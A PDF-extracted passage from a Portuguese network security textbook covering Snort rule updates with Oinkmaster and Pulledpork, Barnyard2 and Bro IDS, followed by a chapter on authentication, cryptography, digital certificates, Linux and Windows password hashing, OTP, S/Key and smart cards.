30 5 * * * /usr/sbin/oinkmaster –C /etc/oinkmaster.conf –o /etc/snort/rules2

5. É necessário reiniciar o Snort após a atualização, então é interessante criar um script para
realizar as duas tarefas e incluí-lo no cron.

6. Adicione os arquivos de regras no seu snort.conf, utilizando as diretivas include


<arquivo.rule>. Não se esqueça de especificar o caminho completo.

O Oinkmaster possui parâmetros extras que podem ser inseridos no arquivo de

d
configuração. Seguem dois parâmetros importantes:

Mais informações sobre 11 enablesid SID1, SID2, ... – habilita automaticamente a regra identificada pelo SID. Um
o funcionamento do SID é um número único que identifica uma regra, que pode ser visto no parâmetro “sid:”
Oinkmaster podem ser
obtidas no documento presente na linha da regra.
Installing and configu-
11 disablesid SID1, SID2, ... – desabilita automaticamente a regra identificada pelo SID.
ring OinkMaster, de
Patrick Harper.
Pulledpork
Outra opção para manter o Snort atualizado é o Pulledpork, um script Perl para atualização
automática de regras a partir de bases na internet. O projeto está disponível para download
em https://github.com/shirkdog/pulledpork, e oferece as seguintes características:

11 Download, parse mudança de estados e regras de forma automáticas para todos os


rulesets do Snort.

11 Verificação via checksum de todas as regras baixadas.

11 Geração automática do arquivo sid-msg.map atualizado.


Capítulo 5 - Detecção e prevenção de intrusos

11 Capacidade de incluir seu arquivo local.rules no sid-msg.map.

11 Capacidade de baixar arquivos .tar.gz com regras a partir de URLs customizadas.

11 Suporte completo a bibliotecas dinâmicas (shared objects).

11 Suporte completo a listas de reputação IP.

11 Capacidade de baixar múltiplas listas de regras simultaneamente.

11 Capacidade de enviar SIGHUP após o download e processamento de regras.

11 Auxilia no tuning de rulesets.

11 Pequena dependência de módulos Perl.

11 Suporte para o Suricata e rulesets ETOpen/ETPro.

89
Barnyard2
O Barnyard2 é um interpretador open source para arquivos de saída binários do Snort
no formato unified2. Esse formato é usado pelo Snort principalmente por motivos de
performance, deixando a tarefa de processamento de logs binários para ferramentas
especializadas, permitindo ao Snort não perder nenhum pacote do tráfego de rede.

O Barnyard2 pode operar de três formas:

11 Batch.

11 Contínuo.

11 Contínuo com bookmark.

No modo batch, o Barnyard2 processa um arquivo de log especificado e encerra sua


operação. No modo contínuo, ele observa um arquivo de log especificado continuamente
e processa novas entradas (e novos arquivos de spool) à medida que surgem. No modo
contínuo com bookmark, além de operar como no modo contínuo o Barnyard2 irá também
usar um arquivo de checkpoint para registrar sua localização corrente. Caso o Barnyard2
venha a ser encerrado, basta consultar o bookmark para saber de onde o processamento
deve continuar.

O Barnyard2 pode enviar os logs processados do Snort para diversos tipos de saída; uma
das mais populares é o uso de SGBDs, como o MySQL, para armazenamento dos logs. Estes
podem então ser processados posteriormente por outras ferramentas, como visualizadores
gráficos de logs e utilitários SIEM.

Bro Intrusion Detection System


O Bro IDS é um projeto open source de um sistema de detecção de intrusos baseado em
rede. Forte concorrente do Snort, ele monitora de forma passiva o tráfego de rede em busca
de atividades suspeitas. A sua análise inclui a detecção de ataques específicos (inclusive
os definidos pelas assinaturas, mas também aqueles definidos em termos de eventos) e
atividades incomuns (por exemplo, certo host conectar a determinados serviços ou falhas
em tentativas de conexão).

Se o Bro detectar algo de interesse, pode ser configurado para gerar uma entrada de log,
alertar o operador em tempo real, executar um comando do Sistema Operacional (por
exemplo, para finalizar a conexão ou bloquear um host malicioso on-the-fly). Além disso,
os arquivos de log detalhados do Bro podem ser facilmente utilizados pela ciência forense.

Para que esse aplicativo funcione corretamente, será necessário instalar os seguintes
componentes na máquina Linux: Libpcap, Flex, Bison ou byacc, cabeçalhos e bibliotecas do
BIND8, Autotools, OpenSSL, Libmagic, Libz, GnuPG, LibGeopIP e Google Perfto.
Segurança de Redes e Sistemas

90
6
Autenticação, autorização
e certificação digital
objetivos

Conhecer em detalhes o processo de identificação de usuários, autenticação,


autorização e auditoria.

conceitos
Sistema AAA, criptografia, certificados digitais, gerenciamento de senhas, sistemas de
autenticação única, servidores de diretório LDAP e sistemas de autorização.

Introdução
O processo de identificação de usuários, autenticação, autorização e auditoria é
fundamental para garantir a segurança de aplicações e serviços, de modo que somente
usuários previamente cadastrados, identificados e autenticados podem ter acesso aos
recursos computacionais que lhes foram autorizados pelo responsável.

Para nivelar o conhecimento e permitir o entendimento de alguns assuntos, serão


apresentados conceitos básicos sobre criptografia e certificação digital.

Exercício de nivelamento 1 e
Autenticação e autorização

Capítulo 6 - Autenticação, autorização e certificação digital


O que você entende como processo de identificação, autenticação, autorização e auditoria?

Sistema AAA
O processo de controlar o acesso, garantindo que a origem dos dados é a de quem
alega ser, é um dos objetivos da autenticação. Garantir o uso autorizado de recursos e o
registro de todas as atividades dentro de um sistema são tarefas dos sistemas conhecidos
por Autenticação, Autorização e Auditoria (AAA). Nesta sessão, serão apresentados os
protocolos e técnicas para trabalhar com cada um desses As.

91
Autenticação
A autenticação é um processo que tem por objetivo garantir que um usuário é realmente
quem diz ser. Esse é um processo básico e fundamental quanto tratamos de segurança de
sistemas e serviços, pois basta um usuário usurpar as credenciais de outro usuário que
possui maiores privilégios para ser gerado um grave incidente de segurança. O processo de
autenticação em geral se baseia em três princípios básicos para permitir ao usuário provar a
sua autenticidade. São eles:

Algo que você sabe


Nesse princípio, o sistema solicita ao usuário que informe algo que somente aquele usuário
sabe. O exemplo mais comum desse princípio são as senhas e suas variações (OTP e
passphrases). Apesar de ser o mais barato de implementar, pois pode ser implementado
inteiramente via software, em geral é o menos seguro, pois um atacante pode tentar adi-
vinhar a senha de um usuário. Como o cérebro humano é limitado, os usuários tendem a
escolher senhas fáceis de lembrar.

Algo que você tem


Aqui o usuário deve apresentar algo para o sistema que lhe foi dado no momento em que
se registrou para obter acesso ao sistema. Dessa forma, ao reapresentar o mesmo objeto, o
usuário estaria comprovando que é realmente quem diz ser. Normalmente, são combinados
com uma senha (chamada de PIN), de modo que não possa ser usado caso seja roubado.
Nessa categoria, são muito comuns os smartcards, chips e tokens. São considerados mais
seguros que o primeiro, pois para um usuário se passar por outro, deve obter o objeto que o
identifica e a senha correspondente.

Algo que você é


Essas são consideradas as formas mais seguras de autenticação, pois envolvem uma
característica intrínseca ao usuário. Em geral são chamadas de biometrias. Alguns exem-
plos: impressões digitais, formato da íris, voz, face etc. Apesar de consideradas seguras,
devem ser utilizadas de forma cuidadosa, pois o seu uso indiscriminado pode criar uma
falsa sensação de segurança. Um leitor de impressões digitais pode ser enganado com uma
impressão digital falsa, caso não tenha um dispositivo que garanta que o dedo em questão
é “vivo”. Ou o mesmo leitor, caso esteja controlando uma porta, pode ser arrancado do seu
lugar e a porta aberta por uma mera junção de dois fios.

Autorização
O usuário obtém acesso somente aos recursos previamente definidos pelo gestor do
sistema. A autorização corresponde a um processo seguinte à autenticação, onde o usuário
obtém acesso aos recursos de acordo com o nível de acesso que lhe foi designado por um
Segurança de Redes e Sistemas

administrador ou gestor. Dessa forma, uma vez corretamente identificado, o usuário pode
ter acesso a determinados recursos.

Auditoria
A auditoria por fim corresponde ao processo de verificação contínua se os acessos con-
cedidos estão corretos e se não há acessos indevidos. Normalmente temos um auditor
que periodicamente verifica as trilhas de auditoria, que são registros feitos pelos sistemas
de autenticação e autorização, contendo todos os acessos realizados pelos usuários do

92
ambiente. Através de um processo consistente de AAA, podemos ter um ambiente com
um nível de segurança adequado, sem comprometer a integridade, a confidencialidade e a
disponibilidade dos sistemas.

Nos itens a seguir, estaremos considerando a autenticação com base em senhas, visto que é
a autenticação mais comum e possível de se implementar via software.

Exercício de fixação 1 e
Sistema AAA
Quais são os princípios básicos em que se baseia o processo de autenticação em geral?

O que é autorização?

Criptografia
Esconder seus segredos sempre foi um dos grandes desafios da humanidade. Os antigos
generais precisavam transmitir informações para seus exércitos sem o perigo de ter suas
mensagens interceptadas e traduzidas pelo inimigo. O uso da criptografia apareceu, possi-
velmente, nas primeiras guerras da antiguidade e seu primeiro relato de uso na história é
atribuído ao imperador de Roma.

Basicamente, um processo criptográfico envolve a aplicação de três conceitos elementares:


a mensagem/texto, o algoritmo e a chave. A mensagem consiste, pura e simplesmente, na
informação que se deseja transmitir de forma segura; o algoritmo é a forma que será utili-
zada para cifrar e decifrar uma mensagem; e a chave, em alguns modelos computacionais,
pode ser entendida como o segredo compartilhado que deve ser conhecido apenas pelas
duas partes envolvidas no processo de comunicação. A garantia da confidencialidade está
em esconder do atacante o algoritmo ou a chave utilizada.

Capítulo 6 - Autenticação, autorização e certificação digital


Um esquema de codificação criptográfica consiste em uma tupla (M, C, K, E e D) com as
seguintes propriedades:

11 M é um conjunto conhecido como espaço de texto comum (plaintext).

11 C é um conjunto conhecido como espaço de texto cifrado (ciphertext).

11 K é um conjunto conhecido como espaço de chave.

11 E é uma família de funções de codificação criptográficas tal que Ek : M → C

11 D é uma família de funções de decodificação criptográficas tal que Dk : C → M

O algoritmo criptográfico define a forma como a mensagem será cifrada e decifrada. A defi-
nição prévia do algoritmo pelas partes envolvidas (transmissor e receptor) é um dos fatores
fundamentais no processo de comunicação seguro.

93
Os algoritmos criptográficos podem ser divididos em dois grandes grupos: algoritmos
simétricos ou de chave secreta e algoritmos assimétricos ou de chave pública.

Criptografia simétrica
A criptografia simétrica utiliza a mesma chave para criptografar e descriptografar uma
informação. Essa chave tem de ser compartilhada entre o emissor e o receptor da
informação. Entretanto, o uso de criptografia simétrica dificulta o gerenciamento de chaves
e não permite a autenticação e o não repúdio do remetente.

Imagine a seguinte situação: um usuário A deseja conversar de forma criptografada com um


usuário B. Para tal, ele precisa de um algoritmo e de uma chave. Se ele usa criptografia simétrica,
a chave para A cifrar a mensagem e B decifrar é a mesma. Agora imagine que A deseja conversar
com um usuário C. Para essa nova conversa, haveria a necessidade de uma nova chave, pois se A
usar a mesma chave que usa com B, o próprio B poderia decifrar as mensagens.

Dessa forma, se estivermos conversando com 100 pessoas, necessitaríamos de 100 chaves
diferentes. Rapidamente percebemos que a solução de criptografia simétrica não estende
bem, pois quando crescemos o número de usuários envolvidos, a gerência das chaves se
torna inviável. Para procurar resolver esse problema de gerenciamento de chaves, foi criada
a criptografia assimétrica.

Dentre os algorimos para criptografia simétrica, podemos destacar o DES, 3DES, Blowfish,
Twofish, RC4, AES (Advanced Encryption Standard, originalmente conhecido como Rijndael),
Camellia e IDEA.

Além de utilizar algoritmos modernos para criptografia simétrica, é também funda-


mental escolher tamanhos de chave adequados, que sejam resistentes a ataques. O site
https://www.keylength.com fornece uma lista atualizada de algoritmos e tamanhos de
chaves recomendados pelas maiores organizações especializadas em criptografia no
mundo, que pode auxiliá-lo na configuração de seus sistemas.

Para o ano de 2018, por exemplo, a recomendação da ECRYPT-CSA para sistemas de cripto-
grafia simétrica em sistemas legados é de chaves de 80 bits; para sistemas protegidos no
curto prazo, num espaço de dez anos, o tamanho de chave é de 128 bits; e para sistemas
a serem protegidos no longo prazo, num espaço de trinta a cinquenta anos, o tamanho
recomendado é de 256 bits. Em termos de algoritmos, são recomendados o AES-128 (curto
prazo), AES-256 (longo prazo), Camellia e Serpent, usando cifras de bloco. Para cifras do tipo
stream, recomenda-se os algoritmos HC-128, Salsa20/20, ChaCha, SNOW 2.0, SWOW 3G,
SOSEMANUK e Grain 128a.

Criptografia assimétrica
A criptografia assimétrica é uma forma de criptossistema em que a criptografia e a
Segurança de Redes e Sistemas

descriptografia são realizadas via diferentes chaves: uma chave pública e uma chave
privada. Ela também é conhecida como criptografia de chave pública. A criptografia
assimétrica transforma o texto claro em texto cifrado usando uma de duas chaves
e um algoritmo de criptografia. Usando a outra chave associada e um algoritmo de
descriptografia, o texto claro é recuperado a partir do texto cifrado.

94
Chave privada Chave pública
de Carlos de Carlos

texto claro texto cifrado texto claro

Figura 6.1 Dessa forma, a criptografia assimétrica pode ser utilizada para garantir a confidencialidade,
Criptografia a autenticidade ou ambos. O criptossistema mais utilizado atualmente é o RSA, sendo
assimétrica.
envolvido o conceito de números primos, de modo que é difícil de explorar, pela complexi-
dade de se encontrar números primos de um número composto.

A criptografia assimétrica tem como desvantagem o desempenho, pois é muito mais lenta
que a criptografia simétrica. Se usássemos criptografia assimétrica em todas as transações
criptográficas, teríamos perda de desempenho bastante significativa. Dessa forma, o mais
comum é utilizar de uma forma combinada as duas técnicas:

1. Uma chave simétrica, inteiramente randômica, é criada e os dados são cifrados com
essa chave.

2. A chave simétrica em si é cifrada com a chave pública do destinatário.

3. O conjunto chave e mensagem é enviado ao destinatário.

4. O destinatário decifra a chave simétrica (chamada de chave de sessão) utilizando sua


chave privada.

5. Com a chave simétrica em mão, o destinatário decifra o resto da mensagem.

Tamanho das chaves


Algoritmos assimétricos utilizam os tamanhos de chave:

11 1024 bits

11 2048 bits

Capítulo 6 - Autenticação, autorização e certificação digital


11 4096 bits

Algoritmos simétricos utilizam tamanhos menores:

11 128 bits

11 256 bits

Os tamanhos de chave costumam variar, de acordo com a capacidade de processamento da


época e do custo médio para se quebrar uma chave.

Em geral, os algoritmos assimétricos utilizam tamanhos de chave (1024, 2048 ou 4096 bits)
muito maiores que os algoritmos simétricos (128, 256 bits), pois o comprometimento de uma
chave de sessão invalida apenas uma transação, porém o comprometimento de uma chave
assimétrica invalida todas as transações daquele usuário. Os tamanhos de chave costumam
variar, de acordo com a capacidade de processamento da época e do custo médio para se
quebrar uma chave.

95
Entre os algoritmos para criptografia assimétrica, podemos destacar o RSA, Diffie-Hellman,
DSA, ElGamal, ECDH e ECDSA, estes dois últimos baseados em curva elíptica.

Usando recomendações da ECRYPT-CSA 2018 retirados do site https://www.keylength.com,


a sugestão para sistemas de criptografia assimétrica em sistemas legados é de chaves de
1024 bits para algoritmos com base em fatoração de módulos, 160 bits para algoritmos
baseados em logaritmos discretos usando chaves, 1024 bits para algoritmos baseados em
logaritmos discretos usando grupos, e 160 bits para algoritmos baseados em curva elíptica;
para sistemas a serem protegidos no curto prazo, recomendam-se respectivamente chaves
de 3072 bits, 256 bits, 3072 bits e 256 bits para as mesmas categorias anteriores; final-
mente, para sistemas a serem protegidos no longo prazo, recomenda-se chaves de, respecti-
vamente, 15360 bits, 512 bits, 15360 bits e 512 bits para as mesmas categorias prévias.

Algoritmos de Hash
Algoritmos Hash são funções criptográficas conhecidas como One-Way. Essas funções possuem
como entrada mensagens de tamanho variável e a saída de tamanho fixo. Uma mensagem de
entrada, sempre que for submetida à análise da função Hash vai gerar a mesma saída.

Mensagem Valor do hash


Função de hash de uma só via
(tamanho arbitrário) (tamanho fixo) Figura 6.2
Função Hash.

O principal propósito da função Hash é criar uma “impressão digital” de um arquivo,


mensagem ou bloco de dados.

Um algoritmo Hash pode ser considerado forte quando atende a cinco propriedades básicas:

11 Determinístico: para uma mesma entrada, o mesmo hash sempre será produzido.

11 Cálculo rápido: deve ser rápido calcular o hash de uma entrada, independentemente do
seu tamanho.

11 One-way: deve ser impossível obter a entrada original a partir do hash resultante.

11 Mutável: pequenas mudanças na entrada devem produzir mudanças grandes e


imprevisíveis no hash resultante.

11 Resistente a colisões: deve ser difícil encontrar duas entradas que produzam o
mesmo hash.

Dentre os algorimos hash mais difundidos, podemos destacar o MD5, SHA-1, SHA-2
(família de funções de 224, 256, 384, 512, 512/224 e 512/256 bits), LM, Whirlpool e SHA-3
(originalmente denominado Keccak).

Usando recomendações da ECRYPT-CSA 2018 retirados do site https://www.keylength.com,


a sugestão para funções hash visando proteger sistemas legados é de no mínimo 160 bits;
para sistemas a serem protegidos no curto prazo, 256 bits; para sistemas de longo prazo,
Segurança de Redes e Sistemas

512 bits. As funções recomendadas são SHA-256, SHA-512 e SHA-3-512 para sistemas de
curto prazo; e SHA2 (256, 384, 512, 512/256), SHA3 (256, 384, 512, SHAKE128, SHAKE256),
Whirlpool-512 e BLAKE (256, 584, 512) para sistemas de longo prazo.

Modos de operação de algoritmos criptográficos


Outra questão importante acerca de criptografia são os modos de operação. Em especial,
temos os modos de operação em bloco e os modos de operação em stream. A operação
em bloco divide os dados em conjuntos de tamanho fixo (chamados de blocos). Esses

96
blocos são combinados com repetições da chave para gerar o texto cifrado, muitas vezes
utilizando a operação matemática XOR. Apesar de útil para a cifragem de arquivos,
uma cifragem de bloco não é adequada para a transmissão de dados cifrados de forma
contínua, como, por exemplo, uma conexão VPN ou uma transmissão de vídeo, pois
numa cifra de bloco o algoritmo teria de aguardar um bloco ser completado para fazer a
cifragem, o que reduzirá o desempenho.

Para conhecer mais


d As cifragens de bloco podem ter vários modos de operação, cada um com suas vanta-
sobre cada modo de gens e desvantagens. São eles: Electronic Codebook (ECB), Cipher-block Chaining (CBC),
operação, consulte o
livro Applied Propagating Cipher-Block Chaining (PCBC), Cipher Feedback (CFB), Output Feedback (OFB)
Cryptography, e Counter (CTR).
de Bruce Schneier.
Dessa forma, em aplicações em que temos pressa em enviar os dados, usamos o stream
cipher, que realiza a cifragem em nível de bit, de modo que não há a necessidade de
aguardar a formação de um bloco. Alguns exemplos de cifragem stream são RC4 e A5/1
(usado em redes GSM de telefonia celular).

A seguir veremos algumas aplicações de criptografia bastante utilizadas.

Exercício de fixação 2 e
Criptografia
Explique a criptografia assimétrica.

Exercício de fixação 3 e
Algoritmos hash
O que são e para que servem os algoritmos hash?

Capítulo 6 - Autenticação, autorização e certificação digital


Certificados digitais
O coração da especificação do esquema X.509 é a associação de certificados de chaves
públicas a cada usuário do diretório. Esses certificados digitais devem ser gerados por
uma Autoridade Certificadora (AC) confiável e armazenados no servidor de diretório. Esse
armazenamento pode ser feito pelo AC e pelo usuário. Dessa forma, o servidor de diretório
não é responsável pela criação desses certificados de chave pública, mas apenas provê fácil
acesso aos certificados de usuários.
Assinatura digital
A recomendação X.509 define um framework para provimento de serviços de autenticação
Método de autenticação
dos algoritmos de crip-
de usuário do diretório X.500. O diretório também pode servir como um repositório de
tografia de chave pública certificados públicos de usuários do repositório. O X.509 define também alternativas de
operando em conjunto protocolos de autenticação com base no uso de certificados digitais. A recomendação X.509
com uma função Hash,
também conhecida
é baseada no uso de algoritmos criptográficos de chave pública e assinatura digital. Ela não
como função resumo. explicita o uso de um algoritmo especificamente, mas recomenda o uso do RSA.

97
Autoridades certificadoras
Existem várias implementações de Infraestrutura de Chave Pública (PKI) comerciais e de
software livre:

11 Microsoft Windows 2008 Server – Certificate Autority.

11 Microsoft Public Key Infrastructure (PKI) for Windows Server 2003.

11 Projeto de software livre OpenCA PKI – Public Key Infrastructure.

Existe ainda um projeto educacional de infraestrutura de chaves públicas, com o objetivo de


prover uma ICP para as universidades brasileiras. Informações sobre esse projeto podem
ser encontradas em http://www.rnp.br/servicos/icpedu.html.

Obtendo certificado de usuário


A ICP (Infraestrutura de Chave Pública) é construída de forma hierárquica, onde a AC certifi-
cadora Raiz concede permissão para uma AC e permissão de emissão de certificados.
A figura seguinte ilustra um exemplo de hierarquia de AC utilizada no ICP-Brasil.

Comitê gestor AC Raiz

AC PR AC Serasa AC Certsign AC SRF AC Caixa Figura 6.3


Hierarquia de AC.

l
O certificado de usuário é gerado por sistema de Autoridade Certificadora, que emite a
chave pública e privada do certificado. A chave pública pode ser armazenada em um
repositório de diretórios e a chave privada fica sob a guarda do usuário. Informações sobre a
ICP-Brasil podem ser
A figura a seguir ilustra o processo de geração de um certificado. obtidas em
http://www.iti.gov.br.

E 3
Segurança de Redes e Sistemas

Figura 6.4
Processo de
geração de um
certificado.

98
1. Certificado não assinado: contém o ID e a chave pública do usuário.

2. Geração do código hash do certificado não assinado.

3. Código hash encriptado com a chave privada da AC para formar a assinatura.

4. Certificado assinado: recipiente pode verificar a assinatura usando a chave pública da AC.

Revogando o certificado do usuário


No momento da geração do certificado digital, é necessário indicar o período de sua vali-
dade. Dessa forma, se por algum motivo um certificado necessite ser cancelado antes da
data final de validade, esse certificado será incluído em uma base de certificados revo-
gados. A Infraestrutura de Chaves Públicas disponibiliza essa base para que, no processo
de validação de um certificado, esse serviço de validação consulte a base, antes de permitir
ou negar determinado acesso. Manter essa base atualizada e garantir que as aplicações a
estejam acessando é mais um dos desafios do administrador de segurança da rede.

Exercício de fixação 4 e
Certificados digitais
Explique o que são certificados digitais.

Gerenciamento de senhas
A primeira fronteira de proteção contra intrusos é o sistema de senhas. Praticamente todos
os sistemas multiusuários utilizam um mecanismo de autenticação onde o usuário é indu-
zido a entrar com o identificador (ID) e uma senha secreta. A senha serve para autenticar o
ID do usuário, liberando ou não o acesso ao sistema. O ID é utilizado para:

11 Determinar se o usuário está autorizado a obter acesso ao sistema (autenticação). Em


alguns sistemas específicos, apenas usuários previamente cadastrados terão permissão
de acesso.

11 O ID determina o nível de acesso concedido a um usuário específico (autorização). Alguns

Capítulo 6 - Autenticação, autorização e certificação digital


usuários, por exemplo, podem ter acesso de administração do sistema, enquanto outros
terão acesso apenas de operação.

Sistema de senhas Linux


Garantir o uso de senhas fortes por parte do usuário é uma difícil tarefa do administrador
do sistema, em qualquer ambiente operacional. Vamos analisar como funciona o sistema de
senhas em um ambiente Unix. Quando um usuário é criado no sistema, uma senha é asso-
ciada ao seu ID. Essa senha é manipulada pela função crypt(), que pode trabalhar com crip-
tografia baseada em DES, MD5 ou SHA, para geração do Hash da senha e do SALT, que será
armazenado no arquivo de senhas do sistema, normalmente em /etc/shadow. A cifragem
das senhas permite um nível adicional de proteção, visto que mesmo que um atacante
tenha acesso ao arquivo de senhas, terá de realizar um ataque de força bruta no arquivo de
senhas para tentar descobrir as senhas dos usuários do sistema.

99
Salt Password Password File
User id salt E (pwd, [salt, 0])
12 bits 56 bits

Load
crypt (3)
11 characters

(a) Loading a new password

User id Password File


User id salt E (pwd, [salt, 0])

Salt

Select Password

crypt (3)

hashed password
Compare

(b) Verifying a password Figura 6.5


Senhas Linux.

Valor do SALT
O SALT é gerado no momento em que a senha é criada, e guardado em texto claro no
arquivo de senhas.

Objetivos do SALT:

11 Evitar que senhas duplicadas sejam visualizadas no arquivo de senhas. Mesmo que
mais de um usuário tenha escolhido a mesma senha, o valor de SALT será diferente,
Segurança de Redes e Sistemas

resultando em valores de Hash diferentes.

11 Aumentar o tamanho da senha, sem a necessidade de o usuário lembrar de todo o compri-


mento adicional da senha, assim dificultando a tarefa de sistemas adivinhadores de senha.

11 Impedir o uso de uma implementação que utilize o DES em hardware, minimizando a


possibilidade de ataques de descoberta da senha por força bruta.

Quando um usuário Unix vai realizar o processo de login no sistema, fornece o ID do usuário
e a senha. O sistema utiliza o ID do usuário para varrer o arquivo de usuários /etc/passwd
para encontrar o UID (número identificador do usuário no sistema) e em seguida consultar

100
o arquivo de senhas para encontrar o SALT do usuário e o Hash. Com essas informações dis-
poníveis, a função crypt() é chamada, a senha é digitada pelo usuário e passada junto com
seu respectivo SALT. Se o Hash gerado pela função for igual ao Hash do arquivo de senhas, o
acesso ao sistema é concedido.

O arquivo /etc/shadow possui permissão de leitura apenas pelo administrador do sistema,


formando uma barreira adicional de proteção, visto que os usuários comuns do sistema não
possuem acesso de leitura a esse arquivo, e consequentemente não possuem acesso às
senhas cifradas dos usuários.

Exercício de fixação 5 e
Sistema de senhas Linux
Para que é utilizado o ID?

Exercício de fixação 6 e
SALT
Quais os objetivos do SALT?

Sistema de senhas Windows


Registros de usuário Windows (NT4, 2000, XP e 2003 Server) são armazenados no banco de
dados do Security Account Manager (SAM), do gerenciador de contas de segurança ou no
banco de dados do Active Directory. Cada conta de usuário está associada a duas senhas: a
senha compatível com o LAN Manager e a senha do Windows. Cada senha é criptografada e
armazenada no banco de dados SAM ou no banco de dados do Active Directory.

Hash LM

Capítulo 6 - Autenticação, autorização e certificação digital


O Hash LM (Lan Manager) não é exatamente um Hash, sendo gerado como resultado de um
processo de manipulação de strings, e obtido com os seguintes passos:

1. Converte todos os caracteres minúsculos da senha em maiúsculos.

2. Preenche a senha com caracteres nulos até que ela tenha exatamente 14 caracteres.

3. Divide a senha em duas partes de sete caracteres.

4. Usa cada parte separadamente como uma chave DES para criptografar uma sequência
específica.

5. Encadeia os dois textos criptografados em uma sequência com 128 bits e armazena o
resultado.

Como resultado do algoritmo usado para gerar o Hash LM, o Hash é muito fácil de ser que-
brado. Primeiro, mesmo uma senha com mais de oito caracteres pode ser atacada em duas

101
partes distintas. Depois, todo o conjunto de caracteres minúsculos pode ser ignorado. Isso
significa que a maioria das ferramentas para quebrar senhas começa quebrando os Hashes
LM e depois simplesmente varia os caracteres alfabéticos na senha quebrada para gerar
senhas que fazem distinção entre maiúsculas e minúsculas.

Hash NTLM
O Hash NTLM também é conhecido como Hash Unicode, porque dá suporte a todo o
conjunto de caracteres Unicode. O Hash NTLM é calculado pegando-se a senha no formato
de texto claro e gerando um Hash Message Digest 4 (MD4) a partir dele. O Hash MD4 está
realmente armazenando no banco de dados do Active Directory ou no banco de dados do
Security Accounts Manager (SAM) ou Gerenciador de Contas de Segurança. O Hash NTLM é
muito mais resistente a ataques de força bruta do que o Hash LM.

O Hash NTLM é a Solução proprietária da Microsoft que abriu a especificação para parceiros
implementarem soluções integradas:

11 Hash Unicode.

11 Hash MD4.

11 Mais resistente a ataques de força bruta do que o Hash LM.

Administrando as senhas
Se um usuário mal-intencionado conseguir algum tipo de acesso ao sistema, como, por exemplo,
pelo uso de uma conta de convidado ou de sistema desprotegida de senha ou com senha padrão,
ele poderá conseguir uma listagem dos usuários válidos do sistema e dessa forma tentar um
ataque de dicionário. Como a maioria dos usuários utilizam senhas com palavras existentes em
dicionários, será fácil conseguir quebrar essa primeira barreira de segurança do sistema.

Use senhas longas, combinando letras maiúsculas e minúsculas, números e caracteres


especiais, dificultando os ataques.

Esse usuário mal-intencionado poderá descobrir as senhas do sistema se conseguir enviar a


base de dados das senhas para uma máquina remota e nessa máquina remota utilizar um pro-
grama de quebra de senhas, com um dicionário. Dependendo da quantidade de senhas pre-
sentes no arquivo e do poder computacional disponível para o usuário mal-intencionado, este
pode conseguir quebrar um número grande de senhas em um pequeno intervalo de tempo.

Para proteger as contas dos usuários do sistema, o administrador pode minimizar os efeitos
dessas ferramentas utilizando práticas recomendadas para o gerenciamento de senhas,
como veremos a seguir.

Treinamento do usuário
Segurança de Redes e Sistemas

Reforçar aos usuários a importância de manter suas senhas protegidas de amigos e


familiares (especialmente crianças), que poderiam divulgá-las a outras pessoas menos
confiáveis. As senhas que você precisa compartilhar, como a senha de uma conta conjunta
on-line, são as únicas exceções. Não anotar senhas em agendas, no monitor do computador,
embaixo do teclado etc.

102
Requisitos de complexidade
Uma boa senha deve ter um número mínimo de caracteres, deve utilizar caracteres de diversos
conjuntos (maiúsculas, minúsculas, números e símbolos), não deve constar em dicionários
e deve ser fácil de lembrar. É importante que o administrador seja sensível à dificuldade dos
usuários de lembrar senhas, de modo que ele não aplique regras muito restritivas, que possam
forçar os usuários a anotar as senhas. A troca de senhas a cada mês ou requisitos de complexi-
dade muito severos são alguns exemplos de regras que podem complicar a vida do usuário.

Exercício de fixação 7 e
Sistema de senhas no Windows
Explique onde são armazenadas as senhas no Windows.

Sistemas de Autenticação Única


Com o uso cada vez mais intenso de sistemas informatizados para soluções comerciais, novos
sistemas vão surgindo em implementações que automatizam os processos do negócio. A imple-
mentação de um mecanismo único de autenticação é desejável para simplificar a gerência de
usuários e senhas dos clientes dos sistemas, assim como para simplificar e aumentar a eficiência
do gerenciamento das contas e suas respectivas senhas pelo administrador.

Nesse cenário, é importante que as soluções informatizadas possam integrar uma solução
de autenticação única para todos os sistemas. Dessa forma, um usuário, uma vez autenti-
cado, deverá ter acesso a todos os sistemas que tiver autorização para acessar.

Existem várias soluções de implementação de SSO, como NTLM, uma solução proprietária
da Microsoft que abriu a especificação para parceiros implementarem soluções integradas.
Outros sistemas baseado em Kerberos são Smart Card e OTP Token.

OTP
One Time Passwords (OTP) é um mecanismo que utiliza senhas descartáveis. Para cada

Capítulo 6 - Autenticação, autorização e certificação digital


acesso é gerada uma senha que logo em seguida perde o valor. Assim, se a senha de um
usuário for capturada, não servirá para comprometer o sistema. Existem várias maneiras
de gerar as senhas, como, por exemplo, o uso de calculadoras Java, que podem estar em
sistemas embarcados como um PDA ou um celular. O problema dessas implementações é o
fato de o usuário ter a necessidade de estar perto da calculadora para ter acesso ao sistema.

S/Key
Sistema de autenticação OTP desenvolvido para sistemas operacionais Unix e derivados,
como o caso do Linux. A proposta do S/Key é obter um conjunto de senhas em que cada
uma só pode ser utilizada uma vez. O processo de inicialização do S/Key funciona da
seguinte forma:

103
1. O usuário provê um segredo W, a base de todo o processo, que nunca pode ser comprometido.

2. Uma função Hash é aplicada n vezes em cima de W, concatenando com um elemento


randômico criado durante a inicialização.

3. O usuário obtém n senhas correspondentes a cada passagem da função Hash. Dessa forma,
o usuário utiliza a senha n para a primeira autenticação, a senha n-1 para a segunda e assim
sucessivamente, até esgotar as senhas, quando o processo deverá ser reinicializado.

Considerando que a partir de n é inviável deduzir n-1 (envolve reverter uma função Hash),
caso n seja comprometida, ela já não mais poderá ser usada, pois cada senha só é usada
uma vez. Para facilitar a digitação por parte do usuário, os bytes de cada Hash são conver-
tidos para palavras, utilizando uma tabela de conversão padronizada.

Smart Card
O Smart Card, ou Cartão Inteligente, é um cartão de plástico, semelhante a um cartão de dA lista de palavras e o
crédito, com um microchip embutido na superfície. O conceito de Smart Card foi patenteado funcionamento do
pelo Dr. Kunitaka Arimura no Japão, em 1970. S/Key constam na RFC
1760.
Embora existam muitos tipos, qualquer Smart Card pode ser classificado quanto à forma de
conexão com a leitora:

11 Por contato físico: entende-se a inserção do cartão na leitora, onde os contatos dos ter-
minais do cartão com os da leitura permitem a troca de dados entre ambos. É importante
salientar que a maioria dos Smart Cards possuem terminais para esse tipo de conexão.

11 Sem contato físico: se refere aos cartões que não necessitam de contato físico com a
leitora, o que indica que a conexão é feita através de ondas eletromagnéticas. A ausência
do ato de inserção traz benefícios, como economia de tempo e preservação dos terminais
do cartão. Um exemplo interessante deste tipo de cartão são os passaportes eletrônicos.

Por serem muito mais baratos, os cartões por contato ainda são os mais utilizados, ofe-
